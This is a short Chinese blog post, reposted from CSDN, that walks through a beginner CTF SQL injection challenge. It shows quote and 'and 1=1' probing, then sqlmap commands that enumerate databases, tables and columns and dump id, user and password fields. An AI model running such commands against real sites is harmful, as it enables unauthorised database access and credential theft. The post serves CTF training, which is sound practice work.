ctf基础注入题


http://www.shiyanbar.com/ctf/33


操作:
根据 ’ 测试和and 1=1 and 11 =2 测试判断出这是一个有简单SQL注入漏洞的网站
#查找数据库
Sqlmap -u “http://ctf5.shiyanbar.com/8/index.php?id=1” --dbs
#用sqlmap工具进行命令搜索数据库
Sqlmap -u “http://ctf5.shiyanbar.com/8/index.php?id=1” --current-db
#current-db
#搜索所在库()
Sqlmap -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db (datatable) --tables
#搜索所在列(得到列名)
Sqlmap -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D dataname -T table_name --columns
#获得字段的值(一般答案在这里)
python sqlmap.py -u “http://www.xxx.com/link.php?id=321” -D dataname -T table_name -C “id,user,password” --dump

以上是实现简单SQL注入的操作步骤

http://ctf5.shiyanbar.com/8/index.php?id=1

猜你喜欢

转载自blog.csdn.net/murongxuege/article/details/88755882
今日推荐